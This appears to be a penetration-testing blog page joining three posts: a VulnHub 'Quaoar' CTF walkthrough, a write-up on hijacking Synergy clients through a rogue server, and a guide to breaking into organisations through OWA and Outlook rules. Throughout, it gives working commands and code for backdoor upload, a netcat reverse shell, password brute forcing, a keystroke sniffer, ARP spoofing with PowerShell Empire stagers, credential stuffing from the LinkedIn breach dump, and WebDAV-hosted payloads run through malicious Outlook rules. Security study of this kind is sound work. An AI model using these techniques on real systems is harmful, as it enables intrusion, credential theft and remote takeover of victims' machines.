VulnHub Walkthrough: hackfest2016: Quaoar

A relatively new set of VulnHub CTFs came online in March 2017.  This post is about the first and easiest one, named “Quaoar“.

This post will be a walk-through of my exploitation of this system.

The first thing I like to start off with on any box is a full TCP port scan.  When you boot up the VM, it shows you the IP it gets from DHCP.

root@kali:~# nmap 10.0.1.21 -sV -p-

Starting Nmap 7.25SVN ( https://nmap.org ) at 2017-03-17 22:32 EDT
Nmap scan report for 10.0.1.21
Host is up (0.000089s latency).
Not shown: 65526 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
53/tcp  open  domain      ISC BIND 9.8.1-P1
80/tcp  open  http        Apache httpd 2.2.22 ((Ubuntu))
110/tcp open  pop3        Dovecot pop3d
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
993/tcp open  ssl/imap    Dovecot imapd
995/tcp open  ssl/pop3    Dovecot pop3d
MAC Address: 00:0C:29:C7:A8:C1 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Seeing there is a web port open, a examine it first. Viewing the source code is not particularly interesting:

<div>
<a href="Hack_The_Planet.jpg">
<img src="Quaoar.jpg" width="100%" height="100%"/>
</a>
</div>

The next thing I typically check is the robots.txt file to see if there are any interesting entries.  In this case, there were.

Disallow: Hackers
Allow: /wordpress/
____
#  /___ \_   _  __ _  ___   __ _ _ __
# //  / / | | |/ _` |/ _ \ / _` | '__|
#/ \_/ /| |_| | (_| | (_) | (_| | |
#\___,_\ \__,_|\__,_|\___/ \__,_|_|

For good measure, I also run Nikto and Dirbuster.

root@kali:~# nikto -host http://10.0.1.21
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.0.1.21
+ Target Hostname:    10.0.1.21
+ Target Port:        80
+ Start Time:         2017-03-17 22:33:27 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, inode: 133975, size: 100, mtime: Mon Oct 24 00:00:10 2016
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3
+ Entry '/wordpress/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 2 entries which should be manually viewed.
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3233: /icons/README: Apache default file found.
+ /wordpress/: A WordPress installation was found.
+ 8348 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:           2017-03-17 22:33:41 (GMT-4) (14 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Browsing to the WordPress site shows a pretty simple page.  Now, anytime I see a WordPress site I usually run straight to WPScan, but it this case, I just tried to guess the username and password.  It was simply “admin:admin.”

As it turns out, I had built a suite of tools for WordPress post-exploitation, and this was just the time to use them.  I went and grabbed the WPForce code off of github and ran Yertle.

root@kali:~# git clone https://github.com/n00py/WPForce.git
Cloning into 'WPForce'...
remote: Counting objects: 137, done.
remote: Compressing objects: 100% (75/75), done.
remote: Total 137 (delta 60), reused 137 (delta 60), pack-reused 0
Receiving objects: 100% (137/137), 101.64 KiB | 0 bytes/s, done.
Resolving deltas: 100% (60/60), done.
Checking connectivity... done.
root@kali:~# cd WPForce/

 

root@kali:~/WPForce# python yertle.py -u admin -p admin -t http://10.0.1.21/wordpress --interactive
_..---.--.    __   __        _   _
.'\ __|/O.__)   \ \ / /__ _ __| |_| | ___
/__.' _/ .-'_\    \ V / _ \ '__| __| |/ _ \.
(____.'.-_\____)    | |  __/ |  | |_| |  __/
(_/ _)__(_ \_)\_   |_|\___|_|   \__|_|\___|
(_..)--(.._)'--'         ~n00py~
Post-exploitation Module for WordPress

Backdoor uploaded!
Upload Directory: dlerjql
os-shell> id
Sending command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I was able to then send commands to the server and have them execute.  Wanting a full shell, I used the reverse shell option and caught the shell using netcat.

root@kali:~/WPForce# python yertle.py -u admin -p admin -t http://10.0.1.21/wordpress --reverse --ip 10.0.1.16 --port 8080
_..---.--.    __   __        _   _
.'\ __|/O.__)   \ \ / /__ _ __| |_| | ___
/__.' _/ .-'_\    \ V / _ \ '__| __| |/ _ \.
(____.'.-_\____)    | |  __/ |  | |_| |  __/
(_/ _)__(_ \_)\_   |_|\___|_|   \__|_|\___|
(_..)--(.._)'--'         ~n00py~
Post-exploitation Module for WordPress

Backdoor uploaded!
Upload Directory: sdzemmc
Sending reverse shell to 10.0.1.16 port 8080

 

root@kali:~/WPForce# nc -lvp 8080
listening on [any] 8080 ...
10.0.1.21: inverse host lookup failed: Unknown host
connect to [10.0.1.16] from (UNKNOWN) [10.0.1.21] 56951
Linux Quaoar 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012 i686 i686 i386 GNU/Linux
22:40:29 up 9 min,  0 users,  load average: 0.00, 0.04, 0.04
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)

While my shell waited for me, I went on to enumerate the other ports.  I ran enum4linux to enumerate information about the Samba share.

root@kali:~# enum4linux 10.0.1.21
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Mar 17 23:22:56 2017

==========================
|    Target Information    |
==========================
Target ........... 10.0.1.21
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

==========================
|    Users on 10.0.1.21    |
==========================
index: 0x1 RID: 0x1f5 acb: 0x00000010 Account: nobody    Name: nobody    Desc:
index: 0x2 RID: 0x3e8 acb: 0x00000010 Account: viper    Name: viper    Desc:
index: 0x3 RID: 0x3ea acb: 0x00000010 Account: wpadmin    Name:     Desc:
index: 0x4 RID: 0x3e9 acb: 0x00000010 Account: root    Name: root    Desc:

 

What I found most interesting was the user accounts. I was also able to see similar information from the /etc/passwd in my shell.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:103:107::/var/run/dbus:/bin/false
colord:x:104:109:colord colour management daemon,,,:/var/lib/colord:/bin/false
whoopsie:x:105:112::/nonexistent:/bin/false
avahi:x:106:115:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
bind:x:107:117::/var/cache/bind:/bin/false
postfix:x:108:118::/var/spool/postfix:/bin/false
dovecot:x:109:120:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovenull:x:110:65534:Dovecot login user,,,:/nonexistent:/bin/false
landscape:x:111:121::/var/lib/landscape:/bin/false
libvirt-qemu:x:112:106:Libvirt Qemu,,,:/var/lib/libvirt:/bin/false
libvirt-dnsmasq:x:113:123:Libvirt Dnsmasq,,,:/var/lib/libvirt/dnsmasq:/bin/false
sshd:x:114:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:115:124:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
tomcat6:x:116:126::/usr/share/tomcat6:/bin/false
wpadmin:x:1001:1001::/home/wpadmin:/bin/sh

I took all the usernames that had a login shell and I brute forced them against SMB with Hydra.  This quickly told me that the password for the account wpadmin, which was “wpadmin”.  I could now SSH into the system with that account, and have a real shell.

Now at this point I had spent a couple hours trying to exploit the kernel, exploit dovecot, search for setuid binaries, find passwords in log files, look for weak permissions to no avail.  What turned out to be the privilege escalation method was quite more simple than what I had been trying.

WordPress is a PHP based web application.  It also uses a SQL server on the backend to store its data.  In order to connect to the database, it must have the password to the database.  WordPress stores that data in wp-config.php.

When we cat the wp-config.php, we see the database password:

<?php
/**
* The base configurations of the WordPress.
*
* This file has the following configurations: MySQL settings, Table Prefix,
* Secret Keys, WordPress Language, and ABSPATH. You can find more information
* by visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing
* wp-config.php} Codex page. You can get the MySQL settings from your web host.
*
* This file is used by the wp-config.php creation script during the
* installation. You don't have to use the web site, you can just copy this file
* to "wp-config.php" and fill in the values.
*
* @package WordPress
*/

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'rootpassword!');

 

While this password is specifically for MySQL, it could also be the password for the root user account, and in this case it was.  At this point all I had to do was “su -” and enter the password.  Done!


Compromising Synergy clients with a rogue Synergy server

 

Synergy is a type of mouse an keyboard sharing software. When configured, moving your mouse off the screen will allow you to control another system that is also set up with Synergy. Below is a YouTube video from Synergy on how it works:

The way this works is one host acts as the Synergy server, and the other hosts act as Synergy clients. The clients initiate connections to the server to allow that server to send commands to them, such as moving the mouse, using the keyboard, or accessing the clipboard.

Synergy has two main pricing tiers, Basic, and Pro. They are almost identical, but the Pro version supports SSL encryption.  Symless, the company that develops the Synergy acknowledges the risk of using the un-encrypted version, and suggests to either buy the Pro version, or encapsulate the Synergy traffic within an SSH tunnel.

I was curious about the risk posed by using this software without any additional steps taken to secure the communication channel.  My research didn’t turn up much, only one security researcher discussing a crypto fail in an older version of Pro, and forum threads of a few cautious power users.

The first thing most warned about is eavesdropping on keystrokes, which often times will contain sensitive information to include passwords.  Assuming you have Man-In-The-Middle between a client and server, are on a network using a hub, receiving traffic from a span port, or otherwise have a pcap of the traffic, extracting keystrokes is quite simple.  Here is a few lines of python that will do just that:

from scapy.all import *

def querysniff(pkt):
            if Raw in pkt:
                payload = str(pkt[Raw].load)
                if "DKDN" in payload:
                    sys.stdout.write(payload[9])
  
sniff(filter="tcp and port 24800", prn=querysniff, store=0)

You will need to install scapy to run this.  The code relatively simple, it will begin sniffing on all interfaces for TCP traffic going either to or from port 24800, and each packet that has the string “DKDN” identified a key-down event, meaning a key was pressed to the down position. Assuming they are typing in English, the 9th byte will contain an ASCII character.  This is a basic example and does not address any non-ASCII or non-printable characters, but works as a general proof of concept.

Keystroke monitoring is interesting by itself, but I was curious if there was more that could be done.  Having previously analyzed other protocols such as VNC and HippoConnect, injecting keystrokes onto the target to execute a payload seemed like an interesting type of attack.

After spending some time in Wireshark analyzing the communication between the client and sever, I found a few items of note:

  • The client initiates the communication with the server
  • Commands are sent from the server to the client

This led me to conclude that by impersonating a Synergy server and enticing a client to connect to it, I could compromise the client.

Synergy comes with the ability to perform automatic configuration of a client and server.  It does this by using Bonjour.  To quote the wiki:

Bonjour is one application of the ZeroConf protocol, which was originally designed for things like printers and scanners to be automatically found on a network when a new computer connects. In the old days, you would have to dig into the printer’s settings or print a label on the front of the printer to find its IP address and add it to your setup manually. This protocol was developed to make this process easier. It was also designed to be used with anything which needed to have a client find a server, which is the case with Synergy. We use ZeroConf (Bonjour) to allow Synergy Clients to automatically find Synergy Servers.

If an attacker could advertise their rogue Synergy server via Bonjour, a client with the “Auto config” option checked could connect to it and our rogue server could begin injecting malicious keystrokes to the target.  The caveats to this attack succeeding is that the victim client must not be currently connected to any other Synergy server, and that our server was registered on the top of the MDNS cache.

I developed a python script that will impersonate a Synergy server that I’ve named “Dissonance” and it’s available on GitHub.

I’ve recorded a video of this attack in action.  I find it’s best to watch in at least 1080p to capture all the details. (Yes, I know “rouge” should be “rogue”)

Here is a breakdown of what happened:

  • The attacker ran the Dissonance python script. This opened up port 24800 and sent out Bonjour advertisements
  • The Synergy client clicked the “Auto-config” option.  It used Bonjour to identify the attacker system as a Synergy server
  • It initiated a connection on TCP port 24800 to the attacker
  • The attack script negotiated the connection and began sending keystrokes to the client which opened a command prompt and typed in a payload
  • The payload was a powershell command that was Base64 encoded which would retrieve and execute a Powershell Empire stager
  • The client initiates a connection with the Empire server and the Empire server now has control over the client system

This attack works well, but most likely any Synergy clients you come across will already be connected to a Synergy server.  The next thing to try is to see if it is possible to hijack an existing relationship.  To hijack a client we would have to replace the real server with our own without the client being aware. Fortunately for the attacker, a Synergy client that loses its connection to the server will automatically try to reconnect.

To facilitate this attack, a little bit of recon must be done.  Synergy servers are possible to find via a typical Nmap scan.  Nmap has a fingerprint for Synergy servers and you should see something like this:

root@kali:~# nmap 10.0.1.4 -p 24800 -sV

Starting Nmap 7.25SVN ( https://nmap.org ) at 2017-03-03 00:34 EST
Nmap scan report for 10.0.1.4
Host is up (0.00030s latency).
PORT      STATE SERVICE VERSION
24800/tcp open  synergy Synergy KVM (plaintext)

Another way to identify both clients and servers is by using Bonjour.  Even if you don’t use auto config, Bonjour is installed as part of the set-up process, unless declined.  Both clients and servers register themselves via MDNS when the application is launched.

Here is a video of this attack in action, and it has more moving parts than the last:

Here is the a run-down of what happens in the video:

  • The Synergy client has an active connection with the Synergy server
  • The attacker uses Dissonance to identify the IP addresses of the client and server via Bonjour
  • The attacker assumes the IP of the real Synergy server
  • arpspoof is used to send ARP reply to the Synergy client to update the victims ARP table to identify the attacker as having the MAC address for the IP that belonged to the legitimate Synergy server
  • The client and server lose their connection.  Th client automatically makes attempts to re-establish the connection
  • The attacker starts Dissonance
  • The client connects to the rogue server and begins accepting commands
  • As before, an Empire stager is executed on the client and the client initiates a connection to the Empire server

The next question is if this is possible with the Pro version.  The answer is: Not without user interaction.  When using the Pro version, when a client first initiates a connection to the Server it asks the user to validate the fingerprint.  This is the prompt seen from the client:

If the IP address is hijacked in the attack seen above, such a warning would present itself once the client connected to the rogue server.  If the client were to ignore the content and just click “Yes” this type of attack could still be achieved.  If the user followed the instructions they would certainly click no, but in some environments where users are accustomed to ignoring SSL/TLS certificate warnings, this may be possible.


From OSINT to Internal – Gaining Access from outside the perimeter

 

 

 

 

 

 

 

 

 

During an external penetration test, you may be tasked with gaining access from the internet with no knowledge of the a target environment.  After hitting all known servers and web applications with various scanning tools, you have nothing.

Searching open source information such as database breaches can often yield a large amount of passwords.  Using the 2012 LinkedIn breach as an example, these are the steps you can take to collect credentials for your target.  As of the time of this writing, the database dump can be obtained here.  Extract the contents.  It should be a little over 22 Gigabytes. There should be an 11 Gigabyte file named 1.sql.txt.  This file contains all the email addresses.  To find our target emails, run the command:

grep  [DOMAIN] 1.sql.txt

This will bring up any email address in the dump that has matches your target domain.

Once that is complete you will have a list of email address, but in most case you will not get the hash.  Next to the email address you will find a number.  This is the member ID.  Collect all the member ID’s from the records that were returned.  Grep through each of the remaining test flies for instances of that  member ID.  You can grep for multiple IDs at once by passing a command similar to:

grep -E "[MEMBER ID]:|[MEMBER ID]:" *.txt

Take note that each member ID has a colon following the number, this is to reduce the likelihood of partial string matches.  Also note that in between each item there is a pipe character.

Now that you have (Member Email + Member ID) and (Member ID + SHA1 hash) you can correlate these two to match the Member email with the SHA1 hash.  At the time of this writing, hashes.org has the SHA1 hashes for the LinkedIn breach 97.11% cracked. Simply take all the SHA1 hashes and use the hashes.org search to query up to 100 SHA1 hashes at a time.  Once you have the corresponding plaintext value, go back to your previously collected data and correlate the plaintext password with the member email.  Now that you have a list of emails and passwords you need to look for a place to try them out.

One thing to look for is the use of ADFS (Active Directory Federation Services). Th reason this is valuable to us is that it exposes an interface by which to authenticate against Active Directory for the target via the internet.  A common service that will be exposed is Outlook Web Access. It usually relatively simple to see if an organization is using this. By visiting https://outlook.office.com, you can just type in any email using the target domain and it will redirect you to the organizations OWA landing page.

Another way to discover a OWA portal is via DNS lookups for both adfs.[DOMAIN] and mail.[DOMAIN].

 

 

 

 

Once you discover the IP or sub-domain, you can then search for the login page.  Here are a few examples:

 

 

 

 

 

 

 

Now that you have discovered the OWA endpoint, you can begin testing credentials. One way to do this is via Burp Intruder, although you can do it with any brute force tool of your choice.  The only caveat here is we will need to know the domain name of the company.  This could be leaked via other web services, or we can take an educated guess.  Most likely it will be the name of the company is some way.  For example, if our target was “ACME Widgets Company” and the website is hosted at acmewidgets.com we could try “acme”,”awc”,”acmewidgets” as possible AD domain names.

Using burp all we need to do is copy a legitimate authentication request and send it to Intruder.  We select the Pitchfork option and add payload markers on both the username and password.  The domain and encoded backslash (%5C) are left static.

We load up a list of usernames for Payload set 1, and a list of corresponding passwords for Payload set 2. Once you fire off the attack, you will want to look for different response codes or responses sizes. This will be the indicator of which username/password combinations were successful.  For payload set 1, we will want to try some variation of usernames.  Most likely the target will be following the standard of firstname.lastname or first initial + last name.

Assuming we have at least one successful authentication, we can move on to the next step.

Access to an employee email account is valuable within itself, but this can be leveraged further to achieve code execution.  OWA is fairly limited, and we will want to add the victim email into Microsoft Outlook.  This will give us additional functionality in which we can compromise the victim. It is as simple as going to File -> Add Account

 

Now to explain how to create or malicious payload.  For this example we are going to be using Powershell Empire.  If you are not familiar with how to use it, I would suggest stopping here and taking some time to read the documentation.  The first step is to create a listener for out payload to call out to. The next step is to create a payload.  We will want to use the launcher_bat stager. Once we have that .bat file, we will want to modify it slightly to remove the auto-deleting functionality.

Once we have modified the .bat file, we will convert it to an exe using a Bat to Exe Converter or similar tool.  This allows us to avoid quickly popping up a terminal window when the payload is executed.Now that we have our .exe payload, we will need to host it online.  The quickest way I have found to do this is hosting it with WebDAV.   The commands below will explain how to set this up on an Ubuntu server.

First Update the packages and install the Apache server.

root@Attacker:~# apt-get update
root@Attacker:~# apt-get install apache2

The next step will be to create the WebDAV directory.

root@Attacker:~# mkdir /var/www/webdav
root@Attacker:~# chown -R www-data:www-data /var/www/

We will then add some webDAV modules:

root@Attacker:~# a2enmod dav
root@Attacker:~# a2enmod dav_fs

And then we will need to edit the Apache configuration file:

root@Attacker:~# vi /etc/apache2/sites-available/000-default.conf

And we will need to add the following line on the top

DavLockDB /var/www/DavLock

And the following line on the bottom:

Alias /webdav /var/www/webdav

<Directory /var/www/webdav>
DAV On
allow from all
</Directory>

Save the file and restart Apache.  Place the payload in the webDAV directory.

Pivoting back to Microsoft Outlook, we will want to create a rule to run an application when a condition is met.  Unfortunately, when creating a rule to run an application located on our webDAV server will get this error:


Microsoft seems to be aware of the danger posed by creating a rule that executes an application from the web, and will not allow us to do it.  Fortunately, we have a workaround. If we use Outlook to import an existing rule, we will not be subject to this check.  To create the rule that will be imported, we can use Rulz.py.  For more information on this tool, visit the blog post here.  Much of the methodology in this post is adapted from there.  Running Rulz.py all we need to do is make sure we are running Python 3 and supply the parameters.

The output will be in the form of a .rwz file which we can import into Microsoft Outlook. Just import the rule through Rules -> Manage Rules and Alerts -> Options -> Import Rules.  Once the rule is imported, we modify the trigger to anything we want, we don’t have to use the subject line trigger that Rulz.py offers us.  We can also modify the rule to auto-delete the trigger email after being received.


The last step is to wait for the client to load the Microsoft Outlook Application.  If the victim is running Microsoft Outlook on their computer (as opposed to being logged into OWA) their host should execute the payload when the trigger condition is met.